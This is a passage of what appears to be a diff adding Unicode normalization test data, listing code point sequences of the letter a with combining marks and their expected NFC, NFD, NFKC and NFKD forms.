+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0742, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0742, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0742, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0742, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0742, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0742, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0742, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0742, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0742, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0742, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0743, 0x0062], NFC: [0x00E0, 0x05AE, 0x0743, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0743, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0743, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0743, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0743, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0744, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0744, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0744, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0744, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0744, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0744, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0744, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0744, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0744, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0744, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0745, 0x0062], NFC: [0x00E0, 0x05AE, 0x0745, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0745, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0745, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0745, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0745, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0746, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0746, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0746, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0746, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0746, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0746, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0746, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0746, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0746, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0746, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0747, 0x0062], NFC: [0x00E0, 0x05AE, 0x0747, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0747, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0747, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0747, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0747, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0748, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0748, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0748, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0748, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0748, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0748, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0748, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0748, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0748, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0748, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0749, 0x0062], NFC: [0x00E0, 0x05AE, 0x0749, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0749, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0749, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0749, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0749, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x074A, 0x0062], NFC: [0x00E0, 0x05AE, 0x074A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x074A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x074A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x074A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x074A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07ED, 0x0062], NFC: [0x00E0, 0x05AE, 0x07ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EE, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EF, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F0, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F1, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x07F2, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x07F2, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x07F2, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x07F2, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x07F2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x07F2, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x07F2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x07F2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x07F2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x07F2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F3, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x07FD, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x07FD, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x07FD, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x07FD, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x07FD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x07FD, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x07FD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x07FD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x07FD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x07FD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0816, 0x0062], NFC: [0x00E0, 0x05AE, 0x0816, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0816, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0816, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0816, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0816, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0817, 0x0062], NFC: [0x00E0, 0x05AE, 0x0817, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0817, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0817, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0817, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0817, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0818, 0x0062], NFC: [0x00E0, 0x05AE, 0x0818, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0818, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0818, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0818, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0818, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0819, 0x0062], NFC: [0x00E0, 0x05AE, 0x0819, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0819, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0819, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0819, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0819, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081B, 0x0062], NFC: [0x00E0, 0x05AE, 0x081B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081C, 0x0062], NFC: [0x00E0, 0x05AE, 0x081C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081D, 0x0062], NFC: [0x00E0, 0x05AE, 0x081D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081E, 0x0062], NFC: [0x00E0, 0x05AE, 0x081E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081F, 0x0062], NFC: [0x00E0, 0x05AE, 0x081F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0820, 0x0062], NFC: [0x00E0, 0x05AE, 0x0820, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0820, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0820, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0820, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0820, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0821, 0x0062], NFC: [0x00E0, 0x05AE, 0x0821, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0821, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0821, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0821, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0821, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0822, 0x0062], NFC: [0x00E0, 0x05AE, 0x0822, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0822, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0822, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0822, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0822, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0823, 0x0062], NFC: [0x00E0, 0x05AE, 0x0823, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0823, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0823, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0823, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0823, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0825, 0x0062], NFC: [0x00E0, 0x05AE, 0x0825, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0825, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0825, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0825, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0825, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0826, 0x0062], NFC: [0x00E0, 0x05AE, 0x0826, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0826, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0826, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0826, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0826, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0827, 0x0062], NFC: [0x00E0, 0x05AE, 0x0827, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0827, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0827, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0827, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0827, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0829, 0x0062], NFC: [0x00E0, 0x05AE, 0x0829, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0829, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0829, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0829, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0829, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062] },
